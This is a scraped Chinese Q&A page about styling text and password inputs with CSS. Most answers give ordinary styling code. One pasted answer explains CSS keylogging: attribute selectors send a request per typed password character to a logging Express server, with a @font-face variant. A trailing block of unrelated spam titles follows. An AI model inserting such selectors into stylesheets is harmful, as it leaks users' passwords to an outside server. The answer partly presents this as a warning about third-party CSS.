问答文章1 问答文章501 问答文章1001 问答文章1501 问答文章2001 问答文章2501 问答文章3001 问答文章3501 问答文章4001 问答文章4501 问答文章5001 问答文章5501 问答文章6001 问答文章6501 问答文章7001 问答文章7501 问答文章8001 问答文章8501 问答文章9001 问答文章9501

如何只用CSS样式定义input里的text与password

发布网友 发布时间:2022-04-20 00:22

我来回答

7个回答

懂视网 时间:2022-04-20 04:43

这次给大家带来怎么用CSS设置记录用户密码,用CSS设置记录用户密码的注意事项有哪些,下面就是实战案例,一起来看一下。

简单的CSS代码,甚至不符合图灵完备的语言,但是也能成为一些攻击者的工具,下面简单介绍一下如何使用CSS去记录用户的密码。但是这些CSS脚本会出现在第三方CSS库中,所以使用第三方CSS库也需要谨慎,确保代码安全。直接上代码解析:

input[type="password"][value$="0"] { 
 background-image: url("http://localhost:3000/0"); 
}
input[type="password"][value$="1"] { 
 background-image: url("http://localhost:3000/1"); 
}
input[type="password"][value$="2"] { 
 background-image: url("http://localhost:3000/2"); 
}

以上是部分代码,我们来解析一下CSS代码

input[type="password"]是css选择器,作用是选择密码输入框, [value$="0"]表示匹配输入的值是以0结尾的。所以:

input[type="password"][value$="0"] { 
 background-image: url("http://localhost:3000/0"); 
}

上面代码的意思就是如果你在密码框中输入0,就去请求http://localhost:3000/0接口,但是浏览器默认情况下是不会将用户输入的值存储在value属性中,但是有的框架会同步这些值,例如React。

所以只要使用了如下图的脚本就能去存储用户的输入数据信息。

我们再来看一下服务器端的代码:

const express = require("express");
const app = express();
app.get("/:key", (req, res) => {
 process.stdout.write(req.params.key);
 return res.sendStatus(400);
});
app.listen(3000, () => console.log("启动,监听3000端口"));

使用express创建服务器,监听3000端口,只要请求http://localhost:3000/:key,就能输出key的值,就能在服务器上记录输入的值。所以只要在每输入一个值都匹配,然后通过 background-image 去请求一个已经准备好的接口,就能记录用户的输入。类似的方法记录用户的内容的CSS代码@font-face {

 font-family: blah; 
 src: url('http://localhost:3000/a') format('woff'); 
 unicode-range: U+85;
}
html { 
 font-family: blah, sans-serif;
}

相信看了本文案例你已经掌握了方法,更多精彩请关注Gxl网其它相关文章!

推荐阅读:

h5实现多图片预览上传及点击可拖拽控件

S5让分层屏幕适配

热心网友 时间:2022-04-20 01:51

可以,用js,刚做了一个

不满意之处,百度消息我。。

代码:

<style type="text/css">
<!--
.myInput{border:0 #FFFFFF; border-bottom:#000000 solid 1px;background-color:#FF0000;}
-->
</style>

<script language="javascript" defer>
var u=document.getElementsByTagName("input");
for(var i=0;i<u.length;i++){
if(u[i].type=="text"||u[i].type=="password")u[i].className="myInput";
}
</script>

<input type="text"><br>
<input type="password"><br>
<input type="checkbox">

热心网友 时间:2022-04-20 03:09

<style type="text/css">
<!--
.myInput{border:0 #FFFFFF; border-bottom:#000000 solid 1px;background-color:#FF0000;}
-->
</style>

<script language="javascript" defer>
var u=document.getElementsByTagName("input");
for(var i=0;i<u.length;i++){
if(u[i].type=="text"||u[i].type=="password")u[i].className="myInput";
}
</script>

<input type="text"><br>
<input type="password"><br>
<input type="checkbox">

热心网友 时间:2022-04-20 04:44

除非用class或ID来指定,要不然是没法用css来定义的,input本身是一个对象,password或text却只是它的属性,文档对象模型里能通过对象控制其属性,但不能直接控制属性。

热心网友 时间:2022-04-20 06:35

input[type="text"],input[type="password"]{你需要的样式!}

热心网友 时间:2022-04-20 08:43

哪里要这么麻烦。。。。
input[type=text]
{
background-color: #FFCC33;
}
input[type=checkbox],input[type=radio]
{
width: 20px;border: 0px;
}

热心网友 时间:2022-04-20 11:25

一定要用css.
声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com
临沂比较有名的男装品牌 呼伦贝尔市悦动网络科技有限公司怎么样? 呼伦贝尔中汇实业有限公司怎么样? 呼伦贝尔油玉不绝电子商务有限公司怎么样? 如何避免wps卡顿? 属鼠的男人找对象是属什么,属鼠的人和什么属相合 96年鼠的姻缘在哪年 属相相合年份运势提升 2024属鼠找对象属什么最佳 黑客攻击网站能报案吗 黑客攻击报案有用吗 CSS中文本框和密码框的设置 纳税人及其配偶在一个纳税年度内不能同时分别享受和专项附加扣除?个税师证书有什么优势? 我想在logo图片的右边加上用户和密码的登陆框 在css里面怎么控制 六年级写事的作文450字!!要很现实的 小馋猫小吃店广告语 请求小吃店广告语 梦到爸爸用钳子打我 过了十八周岁遗精正常吗 18岁还经常遗精正常吗? 枪神纪天使送礼第二期几号结束 奥比岛赚钱,最多能赚多少?奥比岛怎样玩,最新的!!! *神纪里幸运屋的永恒碎片13一定会合成其中一个吧?不会说什么都不会得到吧? 枪神纪现在在哪里抽碎片??? 小花仙的紫色鸢尾花种子怎么得? 枪神纪幸运屋苏醒能量结晶好抽吗 奥比岛的幸运屋怎样才能得奖? township 玩转幸运星是什么? 忠诚宝箱里面有几个四叶草 *神纪的幸运屋的合成系统第一次抽出什么装备的几率最大,第二次呢?我想要个双*武器几次能抽出? 梦想小镇油漆钉子榔头怎么获得 油漆钉子榔头获得方法 2011年1月3号出生属于什么星座 2011年1月3日凌晨,我,国自行研制的太空轨道空间站第一个目标飞行器“天宫一号”与运输飞船“神舟八号” 2011年1月3日凌晨,此次对接意味着我国成为继美国、俄罗斯之后,第三个独立掌握航天交会对接技术的国家, 2011年1月3号是农历几月几日? 2011年1月3日4时50分出生的女孩求五行 2011年1月3号属兔是什么星座 2011年1月3日,华富公司收到国家以货币投入的资金100万元项款已存入银行 2011年1月3日是几九第几天 2011年1月3日出生的血型是什么? 2011年1月3日公历属虎为什么QQ显示属兔? 2011年1月3日15点57分出生女孩,请高人指点:五行、八字、取个好名字 2011年1月3日8时45分(农历2010年12月29曰男孩,问一下生辰八字缺什么,起什么字好。 2011年1月3日农历是多少? 请帮我起名!2011年1月3日生的男孩 2011年1月3日,甲厂与乙厂签订里一份购销毛毯的合同,合同规定:甲厂供给乙厂纯羊毛毯1000条,每条重量3公 2011年1月3日阴历多少 2011年1月3日 天下足球片尾曲 就今晚的 我腰疼,2011年1月3日生过孩子,1月底开始腰疼,刚开始给孩子换下尿布起来腰就疼,后来去医院看病 买基金与单位净值有关吗 基金买入是不是单位净值越低越好